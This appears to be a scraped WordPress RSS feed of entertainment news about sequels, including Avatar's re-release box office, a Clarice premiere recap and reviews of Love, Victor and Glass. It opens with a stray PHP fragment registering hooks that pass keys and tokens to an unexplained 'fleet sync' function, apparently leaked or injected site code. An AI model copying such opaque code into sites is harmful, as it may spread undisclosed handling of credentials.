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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); sequel – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 18:29:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png sequel – Brief News https://briefnews.eu 32 32 ‘Avatar’ was re-released in theaters again over the weekend, 13 years after it debuted — and the box office is a good sign for the upcoming sequel https://briefnews.eu/avatar-was-re-released-in-theaters-again-over-the-weekend-13-years-after-it-debuted-and-the-box-office-is-a-good-sign-for-the-upcoming-sequel/ https://briefnews.eu/avatar-was-re-released-in-theaters-again-over-the-weekend-13-years-after-it-debuted-and-the-box-office-is-a-good-sign-for-the-upcoming-sequel/#respond Mon, 26 Sep 2022 18:29:37 +0000 https://briefnews.eu/avatar-was-re-released-in-theaters-again-over-the-weekend-13-years-after-it-debuted-and-the-box-office-is-a-good-sign-for-the-upcoming-sequel/ avatar
"Avatar."

20th Century Fox

  • "Avatar" was re-released to theaters over the weekend ahead of the upcoming sequel.
  • It earned $ 30 million worldwide, $ 10 million of which came from North America.
  • It's a good sign for December's release of "Avatar: The Way of Water."

"Avatar" was the biggest movie in the world over the weekend — again.

James Cameron's 2009 sci-fi epic was re-released to theaters ahead of the December debut of its long-awaited sequel, "Avatar: The Way of Water." It grossed $ 30.5 million globally, $ 10 million of which came from North America.

The strong box office for the 13-year-old movie is a good sign for "The Way of Water's" chances.

"Avatar" is the biggest movie of all time, now with $ 2.878 billion at the worldwide box office, including $ 770.5 million domestically.

"Avengers: Endgame" briefly topped it in 2019, but "Avatar" reclaimed its crown after a re-release in China last year grossed $ 50 million.

"Avatar" was remastered for this re-release in 4K at a high-dynamic range and with enhanced sound. Imax screenings accounted for 20% of the global gross and 29% of the domestic take.

The lesson here is to never underestimate Cameron, who also directed "Titanic" — which was the world's biggest movie until "Avatar" dethroned it.

"'You know what? I made "Titanic." This building that we're meeting in right now, this new half-billion dollar complex on your lot? "Titanic" paid for that, so I get to do this,'" Cameron told the studio regarding changes it wanted to make to "Avatar," he said in a recent interview with The New York Times. "And afterward, they thanked me." 

The theatrical industry has a lot riding on "The Way of Water." After a promising summer, blockbuster tentpoles have been lacking in recent weeks. The only surefire hits coming to theaters the rest of the year are "Black Panther: Wakanda Forever" and "The Way of Water."

Because of the movie drought, studios have recently re-released other movies, such as "Spider-Man: No Way Home" and "Jaws." The former earned $ 6.5 million over the four-day Labor Day weekend in the US, and the latter made $ 3 million in that same period.

"Avatar" was up against the new release "Don't Worry Darling" over the weekend, which topped the US box office with $ 19 million after months of offscreen drama.

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The cast hasn't been set at this stage, although it's doubtful you'll see familiar names given events in past movies and the timeline of the show. Amazon also hasn't said when it expects to release the series.

The project could still be one of Amazon's more ambitious shows to date. The company has been ramping up the production values of Prime Video productions in recent years, and that appears to have paid off — the first season of The Lord of the Rings: The Rings of Power reportedly cost $ 465 million to make, and set a Prime viewing record upon its debut. It wouldn't be surprising if Amazon committed to a major investment (if not necessarily as large) for a recognizable franchise like Blade Runner, particularly with Scott involved.

]]> https://briefnews.eu/amazon-greenlights-blade-runner-2099-sequel-series/feed/ 0 Clarice: Grade the Premiere of CBS’ Silence of the Lambs Sequel https://briefnews.eu/clarice-grade-the-premiere-of-cbs-silence-of-the-lambs-sequel/ https://briefnews.eu/clarice-grade-the-premiere-of-cbs-silence-of-the-lambs-sequel/#respond Fri, 12 Feb 2021 10:10:14 +0000 https://briefnews.eu/clarice-grade-the-premiere-of-cbs-silence-of-the-lambs-sequel/

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The aftermath of the Buffalo Bill fiasco is about to be revealed.

Clarice, CBS’ Silence of the Lambs sequel series, premiered Thursday, taking stock of FBI Agent Clarice Starling’s life one year after the events of the Oscar-winning Jonathan Demme film. While her life has been a hellacious cocktail comprised of one part media circus mixed with one part PTSD, Starling (this time portrayed by The Originals’ Rebecca Breeds) seems to have kept herself mostly in check… but she’s about to be thrown down yet another gruesome rabbit hole.

“I thought it was done. Buffalo Bill took seven women. He skinned six… six of them. I saved one. The last one. Catherine.”

We begin as flies on the wall of Clarice’s mandated therapy session, where she and a doc discuss how the media attention has affected her life and job. The psychiatrist inquires about her relationship with Catherine Martin, and mentions how her last “therapist” was criminally insane and ate his patients (this series is legally bound from saying the H-word). As he attempts to pry into Clarice’s relationship with Anthony Hopkins’ former madman, her defensiveness tweaks. He suggests she be kept out of rotation until she can heal from her PTSD, but before she can rebut, their session is interrupted. Ruth Martin, the Attorney General of the U.S., requests Starling’s presence on an urgent matter.

Martin tells Starling that two dead women floated down a river, each with multiple stab wounds. The AG thinks it’s a serial killer. She wants Starling on the case, so that no family has to suffer the way hers did when Catherine was abducted. Clarice’s reputation for hunting monsters precedes her, so Martin makes Starling a special agent of the task force. Martin warns that Paul Krendler, the head of the team, may still have a stick up his keister about Starling showing him up on the Bill case. Martin also asks Clarice to return her daughter’s calls; the damaged girl thinks Starling is the only one who can help her.

Clarice arrives on the scene, and Krendler wants nothing to do with her. He calls her Martin’s “drop of honey” for the press. He’s looking to close the case cleanly and quickly, making it clear that Clarice is expected to say and do exactly what he tells her (and confirming that he’s a male chauvinist jerkface). The bodies in question have strange bite marks that Clarice notes are shallow and spread out. “There’s no intimacy here, no frenzy,” she tells the team. She doesn’t believe the murderer is a true serial killer. “It’s too controlled, too sane.” Krendler doesn’t want to hear it. He promptly tosses her in front of the press like a lamb to slaughter, pressuring her to confirm the serial killer story.

Clarice and Agent Tomas Esquivel question one of the victim’s husbands. Angela Byrd’s distraught husband isn’t very helpful, but they do find out his older son has autism. They hunt down the other victim’s next of kin, a junkie who tells them her mom took custody of her child, who wound up in “that learning place, the place for freaky kids who have to be fed through a tube.” Turns out both victims have connections to special-needs children. When they report their findings to Krendler, he assigns Clarice to a desk.

Meanwhile, Clarice returns a message that turns out to be from Catherine. The young woman is beyond distraught, telling Clarice that she’ll never feel safe. She asks Clarice if she can sleep, “… or do moths wake you up?” Catherine wonders how Clarice can be out there in the world, to which Clarice responds that they’re different people. Catherine counters, saying they’re exactly the same, and cryptically warns her against trusting her mother Ruth.

A new victim is found, and Esquivel learns the woman had a daughter with severe facial deformities. The agents then discover that Angela Boyd was in a clinical trial for migraines, and many of the participating women’s children turned out to be “messed up in different ways.” Clarice finds a stack of papers Angela hid with a number for a journalist named Rebecca who was writing a piece about the trial. Angela had been reaching out to the other women, and they were all ready to blow the whistle.

Clarice and Esquivel go to the journalist’s home and find an unmarked vehicle outside, which immediately puts them on defense. The murderer is already inside the house! Esquivel finds the journalist near death in the bathtub, her wrists slashed, but he’s immediately ambushed from behind by the killer. He tries to stab the assailant with a piece of broken mirror, but the guy takes off. Clarice follows the perp, who chokes her and tosses her on a table. A scuffle ensues, which ends with three bullets in the guy’s chest.

“You have no idea what this is,” the guy mutters, but he won’t talk until he gets a deal. As the journalist is wheeled into an ambulance, Clarice confirms that the women from the trial were all planning on talking. When Clarice tells Krendler that the killer was contracted to kill whistleblowers, he asks if she can prove it.  She can’t… yet. He wants her to tell the press that they caught the serial killer. He says they’ll investigate the conspiracy angle without her, but tells her to get out there and tell the lies he’s fed her.

Clarice then tells the press the truth: that the women died because they were trying to tell a story. “They were not random victims of a serial killer,” she confirms, and “I’ll be here until we close the book.”

What did you think of the Hannibal-free premiere of Clarice? Grade the episode below, then sound off in the Comments!

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Hello, Clarice: The first full trailer for CBS’ upcoming Silence of the Lambs sequel series is finally here.

The psychological horror series (which premieres Thursday, Feb. 11 at 10/9c) stars Rebecca Breeds (The Originals, Pretty Little Liars) as the titular FBI agent Clarice Starling, and picks up one year after the events of the film. The series promises “a deep dive into the untold personal story of Starling as she returns to the field in 1993… Her complex psychological makeup that comes from a challenging childhood empowers her to begin to find her voice while working in a man’s world, as well as escape the family secrets that have haunted her throughout her life,” reads the official description.

In the trailer (embedded in an official tweet below), Starling can be seen being coaxed back to work by Senator-turned-Attorney General Ruth Martin, as the federal agent appears to be struggling with the notoriety and fame stemming from the film’s Buffalo Bill case. The trailer also hints at Starling’s “old ghosts” from her childhood, and a return to her former stomping ground of Appalachia.

The series — which will definitely not be a procedural — hails from Star Trek: Discovery EPs Alex Kurtzman and Jenny Lumet. Joining Breeds in the cast are Michael Cudlitz (The Walking Dead), Kal Penn (House), Lucca de Oliveira (SEAL Team), Nick Sandow (Orange Is the New Black), Jayne Atkinson (Criminal Minds), Devyn Tyler (The Purge) and relative newcomer Marnee Carpenter. In addition, Shawn Doyle (The Expanse) plays Clarice’s Quantico therapist, and Tim Guinee (Homeland, Revolution) appears as the leader of a secessionist militia group.

The second of five films following Thomas Harris’ Hannibal Lecter character, The Silence of the Lambs won five Oscars including for Best Picture and Best Actress in a Leading Role, for Jodie Foster’s turn as Starling. A critically acclaimed prequel TV series from Bryan Fuller, Hannibal, followed in 2013 and ran for three seasons on NBC.

Press PLAY below to see what’s in store for Agent Starling, then drop your thoughts in the Comments!

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Wonder Woman is due for yet another spin, following the Gal Gadot-led film sequel’s solid performance both at the traditional (yet not) box office and with its simultaneous release on HBO Max.

Warner Bros. Pictures announced on Sunday that it has fast-tracked development on a follow-up to Wonder Woman 1984, which will be written by franchise vet Patty Jenkins, who is again attached to direct.

Amid mixed reviews, Wonder Woman 1984 lassoed the top pandemic-era domestic opening weekend for any feature film this year (with $ 16.7 million in box office), and to date worldwide has cumed $ 85 million. What’s more, its simultaneous release on HBO Max — the first franchise blockbuster to also get a day-and-date release on a streaming service — saw “nearly half of the first-year platform’s retail subscribers” (how ever many that may be, we do not know) cue up the film upon its Christmas Day arrival, reads a press release.

In addition, “millions of wholesale subscribers who have access to HBO Max via a cable, wireless or other partner services” tuned in for the sequel, in which Gadot’s Amazon princess battled two villains: wannabe oil tycoon Max Lord (The Mandalorian‘s Pedro Pascal) and Dr. Barbara Minerva aka Cheetah (SNL vet Kristen Wiig).

“Wonder Woman 1984 broke records and exceeded our expectations across all of our key viewing and subscriber metrics in its first 24 hours on the service, and the interest and momentum we’re seeing indicates this will likely continue well beyond the weekend,” WarnerMedia Direct-to-Consumer EVP Andy Forssell said in a statement. “During these very difficult times, it was nice to give families the option of enjoying this uplifting film at home, where theater viewing wasn’t an option.”

Not long after it slotted Wonder Woman 1984 for a simultaneous theatrical/streaming release, Warner Media boldly announced that its entire 2021 film slate (The Matrix 4 and The Suicide Squad included) would do same.

Were you among the millions who watched Wonder Woman 1984 on HBO Max this weekend? If so, what are your wishes and hopes for the threequel?

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]]> https://briefnews.eu/wonder-woman-1984-after-strong-bow-on-hbo-max-gets-fast-tracked-sequel/feed/ 0 Love, Victor Review: Hulu’s Feel-Good Sequel Series Plays It a Little Too Safe https://briefnews.eu/love-victor-review-hulus-feel-good-sequel-series-plays-it-a-little-too-safe/ https://briefnews.eu/love-victor-review-hulus-feel-good-sequel-series-plays-it-a-little-too-safe/#respond Sun, 14 Jun 2020 17:58:32 +0000 https://briefnews.eu/love-victor-review-hulus-feel-good-sequel-series-plays-it-a-little-too-safe/

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It’s been just over two years since the theatrical release of Love, Simon, the 2018 rom-com that broke new ground as the first major studio film to center on a gay teen romance. The movie is a charming and inoffensive coming-of-age flick — and your opinion of the film will likely dictate how much you enjoy Love, Victor, Hulu’s sequel series that features all the same heart, but too little innovation in its storytelling.

Love, Victor — now premiering Wednesday, June 17; I’ve seen all 10 episodes — stars Michael Cimino (Annabelle Comes Home) as the title character, a 15-year-old who is struggling with his sexuality as he adjusts to a new city and a nerve-wracking transition to Creekwood High School. You certainly don’t have to have seen Love, Simon in order to jump right in with the series; Love, Victor quickly catches viewers up on Simon Spier’s time at Creekwood, and Nick Robinson returns as Simon (via voiceover) when he and Victor strike up a friendship over Instagram DMs.

Though the show has 10 half-hour installments at its disposal — which seemed ripe for a more thorough, complex exploration of teenage sexuality than a two-hour movie could offer — Love, Victor only seems to scratch the surface of its storytelling possibilities, opting instead for narrative choices that feel a bit easy and predictable. As Victor tells Simon in the show’s trailer, “My story is confusing. Some guys like guys. Some guys like girls. Some guys like both. I’m not even sure what I like.” But rather than dive into the nuances of love and attraction — especially the topic of bisexuality, which is underrepresented and often mishandled in pop culture — Love, Victor often chooses to stay in the shallow end and cover much of the same ground as the film.

Love Victor ReviewIn fact, when the show does directly address the tangled web that sexuality can be, it all feels a bit Afterschool Special-y. “Sexuality is a spectrum!” Victor effuses in one of his chats with Simon, as though it’s the first time anyone has had that thought, while another character later refers to sexuality as “less of a straight line, and more like a Cirque du Soleil show.” But even as it alludes to the messy process of discovering one’s own sexuality, Love, Victor rarely executes any of the big swings that it seems to set up for itself. (That said, the show was originally ordered at Disney+ before it relocated to Hulu earlier this year, which could explain its fairly tame representation of thorny topics.)

Though it doesn’t take as many bold chances as I’d hoped it would, Love, Victor does still possess an undeniable charm. The follow-up is co-created by Elizabeth Berger and Isaac Aptaker, who wrote the Love, Simon screenplay — and they’ve certainly perfected the formula for a good, old-fashioned tug on the heartstrings. Given the tumultuous times in which we’re living, Love, Victor’s easy warmth is certainly comforting.

The series also boasts a delightful ensemble: Rachel Hilson (as Victor’s female love interest, Mia) and Anthony Turpel (as Victor’s eccentric neighbor, Felix) are standouts, and the show brings some well-paced character development to each of the Creekwood High students, transforming them from teen stereotypes into fascinating, fully realized human beings. In fact, it sometimes feels as though Victor isn’t in the spotlight enough, as some episodes largely sideline his self-discovery in favor of other storylines. But Victor’s group of friends is so enjoyable to watch — even popular jerk Andrew has interesting shades! — that it’s hard to mind when Victor’s journey takes a backseat.

For those who adored Love, Simon, its TV sequel will likely offer some cozy familiarity (along with a few fun Easter eggs), and telling LGBT-centric stories remains as crucial as ever. I only wish the show had been a bit more daring: If Simon Spier could ride that ferris wheel alone in front of the entire school, surely Victor could take some bigger risks, too.

THE TVLINE BOTTOM LINE: Love, Victor delivers the same amount of heart as the film that inspired it, but it misses an opportunity for bold storytelling and a more complex examination of sexuality. 

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]]> https://briefnews.eu/love-victor-review-hulus-feel-good-sequel-series-plays-it-a-little-too-safe/feed/ 0 MTV VMAs: Travolta’s ‘Adele Dazeem’ Sequel? Lil Nas X Speechless? Did Swift Bail Early? And More Burning Qs https://briefnews.eu/mtv-vmas-travoltas-adele-dazeem-sequel-lil-nas-x-speechless-did-swift-bail-early-and-more-burning-qs/ https://briefnews.eu/mtv-vmas-travoltas-adele-dazeem-sequel-lil-nas-x-speechless-did-swift-bail-early-and-more-burning-qs/#respond Tue, 27 Aug 2019 05:33:41 +0000 http://briefnews.eu/mtv-vmas-travoltas-adele-dazeem-sequel-lil-nas-x-speechless-did-swift-bail-early-and-more-burning-qs/

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Got questions about Monday’s MTV Video Music Awards? Well, we’ve got answers questions, too! Seven of ’em to be exact. And they’re driving us crazy. 

1. Why did the VMAs hand out the night’s biggest award – Video of the Year — in the middle of the telecast vs. at the end? Did totally-not-tipped-off-winner Taylor Swift have a hard out at 9:30?

2. Did someone forget to send us the memo about the Video of the Year award being a fan-voted category, as Swift declared during her acceptance speech?

3. Did Video of the Year co-presenter and legendary “Adele Dazeem” gaffe-r John Travolta really mistake Swift lookalike Jade Jolie for the real thing? Or was he just making a funny? (Watch video!) We may never know.

4. Are Bebe Rexha and Lizzo scheming to replace Swift as the new go-to celeb-in-the-audience cutaway during award shows?

5. Did “Old Town Road” phenom Lil Nas X really have nothing to say during his acceptance speech for Song of the Year?

6. Was there a helipad on the roof of the Prudential Center that allowed the Jonas Brothers to get from their concert in Asbury Park to Newark in less than an hour? Also, would the trio have made the trek had they not known definitively that “Sucker” was going to win for Best Pop Video?

7. Nothing against VMA emcee Sebastian Maniscalco but… maybe the VMAs should consider following Oscars’ and (now) Emmys’ lead and go host-less next year?

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]]> https://briefnews.eu/mtv-vmas-travoltas-adele-dazeem-sequel-lil-nas-x-speechless-did-swift-bail-early-and-more-burning-qs/feed/ 0 Kim Possible Star on That Big Twist, Possible Sequel — Grade the Movie https://briefnews.eu/kim-possible-star-on-that-big-twist-possible-sequel-grade-the-movie/ https://briefnews.eu/kim-possible-star-on-that-big-twist-possible-sequel-grade-the-movie/#respond Sat, 16 Feb 2019 02:33:43 +0000 http://briefnews.eu/kim-possible-star-on-that-big-twist-possible-sequel-grade-the-movie/

Disney Channel on Friday introduced a new generation of viewers to Kim Possible, a teen action hero who effortlessly juggles saving the world and maintaining a flawless report card. (See, students of Riverdale? It can be done!)

Essentially playing out as a 90-minute episode — complete with Christina Milian’s iconic theme song — the live-action movie found Kim (played by Sadie Stanley) and sidekick Ron (Sean Giambrone) foiling yet another of Dr. Drakken (Todd Stashwick) and Shego’s (Taylor Ortega) plans for world domination.

Christy Carlson Romano, who voiced Kim in the animated series, even made a cameo as a pop star indebted to the teen heroine. If you watched the show, you’ll recall that Kim often had to cash in favors with people she previously saved, making this a brilliant way of including the original Kim.

We were also introduced to a completely new character named Athena (Ciara Riley Wilson), a new student that Kim and Ron took under their collective wing… only to later discover that she was a robot programmed by Dr. Drakken to beat Kim at her own game. Despite their inherent rivalry, the girls were eventually able to find common ground, with Athena joining Team Possible as an official member.

“I loved that whole Athena storyline” Stanley tells TVLine, adding that even though Kim “didn’t exactly handle it the best way” at first, her ability to reassess the situation proved just how mature the character is.

The movie ended with a much younger Dr. Drakken infiltrating Kim and Ron’s school, leaving the door open to a potential sequel. Though no plans for an additional movie — or full-blown TV spinoff, for that matter — have been announced, Stanley is hoping to slip back into Kim’s iconic duds as soon as… possible.

“We’d all definitely like it to continue it in some way, whether it’s with a TV show or another movie,” Stanley tells TVLine. “There’s just so much to work with in terms of the villains and the world and all that.” (Along with Dr. Drakken, Shego and Professor Dementor, the movie also name dropped several other familiar baddies, including Señor Senior Senior and Señor Senior Junior.)

A continuation could also address Kim and Ron’s romantic connection, which wasn’t explored in this movie. Stanley “loved that we showcased their friendship, the strong bond that two people can share as friends,” adding, “I think any sort of romantic development could be saved for possible future movies.”

Do you think the Kim Possible movie did justice to its animated predecessor? And which villain(s) would you want to see in a potential sequel? Grade the movie below, then drop a comment with your full review.

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]]> https://briefnews.eu/kim-possible-star-on-that-big-twist-possible-sequel-grade-the-movie/feed/ 0 Switch games news: Zelda Breath of the Wild sequel CONFIRMED ahead of Nintendo Direct https://briefnews.eu/switch-games-news-zelda-breath-of-the-wild-sequel-confirmed-ahead-of-nintendo-direct/ https://briefnews.eu/switch-games-news-zelda-breath-of-the-wild-sequel-confirmed-ahead-of-nintendo-direct/#respond Wed, 30 Jan 2019 16:10:25 +0000 http://briefnews.eu/switch-games-news-zelda-breath-of-the-wild-sequel-confirmed-ahead-of-nintendo-direct/

 fans have been treated to some fantastic games news ahead of the rumoured Direct conference.

The next Legend of Zelda game has been confirmed by Nintendo, who are hiring more staff for the project.

With production ramping up on the potential Breath of the Wild sequel, Nintendo has posted a new Legend of Zelda job advert.

The Japanese job advert (via Gamingbolt), is for a 3D terrain designer on the new game.

A previous advert called for somebody with experience in creating consumer games, which suggests the new release is for consoles.

It’s possible the next Zelda game will serve as a sequel to Breath of the Wild, although it’s more likely to be a brand new entry.

Zelda director Hidemaro Fujibayashi previously said that concepts and ideas are being gathered for the next Zelda game.

There’s a slim chance the new Zelda game could be unveiled during the rumoured January Nintendo Direct conference.

Other rumours suggest that the Nintendo Switch will get a Skyward Sword port, or a Link’s Awakening remake.

The January Nintendo Direct conference could also shed some light on the new Fire Emblem game, Animal Crossing Switch, Luigi’s Mansion 3 and the Gen 8 Pokemon title.

Bayonetta 3 could also make an appearance, perhaps alongside a Persona 5 port.

Nintendo is also rumoured to be working on a new Mario Maker title, as well as Super Mario Odyssey DLC.

Elsewhere, the company will almost certainly reveal new DLC characters for Super Smash Bros.

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]]> https://briefnews.eu/switch-games-news-zelda-breath-of-the-wild-sequel-confirmed-ahead-of-nintendo-direct/feed/ 0 ‘Glass’ is an Adequate ‘Split’ Sequel and a Terrible ‘Unbreakable’ Sequel https://briefnews.eu/glass-is-an-adequate-split-sequel-and-a-terrible-unbreakable-sequel/ https://briefnews.eu/glass-is-an-adequate-split-sequel-and-a-terrible-unbreakable-sequel/#respond Thu, 17 Jan 2019 22:45:02 +0000 http://briefnews.eu/glass-is-an-adequate-split-sequel-and-a-terrible-unbreakable-sequel/ When M. Night Shyamalan’s Unbreakable was released in November of 2000, expectations were unreachably high. His previous film, The Sixth Sense, was a worldwide sensation, grossing nearly $ 300 million domestic (on a $ 40 million budget), introducing one of the all-time great twist endings, and branding its writer/director as the next Spielberg. Unbreakable hit theaters barely a year later, and though reviews were positive and box office was respectable, Shymalan was (unsurprisingly) unable to replicate its predecessor’s success.

Yet as the years passed, as more viewers discovered Unbreakable on video and sung its praises online, and as similarly brooding, adult-oriented superhero movies found favor, the director and stars would occasionally mention how they’d wanted to continue the story – but it seemed unlikely, given the first film’s disappointing box office (and Shyamalan’s subsequent fall from critical grace). And even when he snuck a cameo for Bruce Willis’s Unbreakable protagonist, David Dunn, into the end credits of his 2016 thriller Split, it felt more like a winking in-joke than an actual commitment to bring back the character.

But now he’s done just that. Glass is a rare and strange beast, a combo-sequel that continues both the stories of Unbreakable and Split, and does so rather uneasily. It’s much more a new Split movie than a new Unbreakable movie (a point underscored by James McAvoy’s top billing, though second-credited Willis’s recent filmography probably didn’t help), presumably due to its closer proximity to Split, and that film’s greater profitability. In other words, to finally make his Unbreakable sequel, Shyamalan probably had to also make it a Split sequel. And that’s too bad, because not only are the Unbreakable scenes the best in Glass; they’re also largely at odds with the rest of the picture.

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Set only three weeks after the conclusion of Split, Glass finds Willis’s David Dunn living a life of discipline and solitude. His wife Audrey (played in the first film by Robin Wright) died five years earlier of leukemia, but he’s gone into business with son Joseph (Spencer Treat Clark, also returning from the original), owning and operating a home security company. And, when he can, he still dons his poncho and goes out into the night to protect the people of Philadelphia.

Early on, he faces down the multiple personalities of Kevin Wendell Crumb, but their confrontation is interrupted by Philadelphia police and one Dr. Staple (Sarah Paulson), who, in her words, specializes “in a particular type of delusion of grandeur… those people who believe they are superheroes.” She has them shipped off to the local psychiatric research hospital for close study, where they will join – as promised in those terrible title cards at the end of Unbreakable – Elijah Price, aka Mr. Glass (a tic-ing and twitching Samuel L. Jackson).

Glass thus spends most of its running time as a good old-fashioned booby-hatch thriller, sometimes scary, sometimes kooky, often silly. Shyamalan struggles to keep all of his plates spinning – particularly in the last half-hour, when a promised big scene at a giant public event turns into a “we’ll just have the big fight out in the front yard” climax, like Roger Corman showed up midway through the production and slashed their budget. (Shyamalan also imposes a strikingly dumb plot twist, and a character turn for Split’s Anya Taylor-Joy that feels like a complete betrayal of her character’s previous journey.)

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But ultimately, this peculiar, discombobulated movie doesn’t work because its director is trying to create a hybrid sequel for two films that are fundamentally incompatible – in tone, in style, in pace, and in perspective. Unbreakable and Split are different experiences in nearly every way, from their opening credits onward: the earlier film’s titles roll out slowly and leisurely, during long dialogue scene, shot peering between the seats of a passenger train, whereas Split’s titles slam on and off the screen as quickly as possible. The filmmaking in Unbreakable is patient – long, medium-wide shots, deliberate pacing, actors who barely speak above a whisper – stylistically the antithesis of Split, a movie where action happens as quickly as possible (within the first ten minutes there’s kidnapping, trauma, an attempted rape, and a childhood flashback) and at top volume.

Split does what it aims to do well: it’s a nasty, brutish piece of genre filmmaking (and an impressive actor’s showcase for McAvoy and Joy). But it’s barely recognizable as the same filmmaker; there’s a general nastiness to it that’s miles from the quiet heroism and character-based drama of Unbreakable. That was a film notable for its humanity; note, as just one example, how brilliantly he makes us care for, and scared for, Samuel L. Jackson’s “Glass,” who really seems like he could smash to pieces at any second, and whose mid-film injury is not only suspenseful, but genuinely harrowing. Title or no, there’s none of that in Glass, because there’s just not room for it.

Which is too bad, because in the scenes of Glass where Shyamalan is able to break free from Split, to honestly revisit Unbreakable(a film that, it is increasingly clear, is his masterpiece), he recaptures its virtues: a quiet contemplativeness, an adult-oriented approach to the superhero mythos, a performance of melancholy and resignation that reminds us of what Bruce Willis is capable of when he’s not phoning it in. But those beats are few and far between. He peppers the movie with deleted scenes from Unbreakable, and at its end, a flash of that film’s closing scene, when David silently puts his finger to his mouth, indicating to his son that his secret identity will stay between them. And all that clip does, in that particular moment, is remind us how little of Glass has landed with anything resembling that moment’s emotional force.

“Glass” is out Friday in wide release.

                                    

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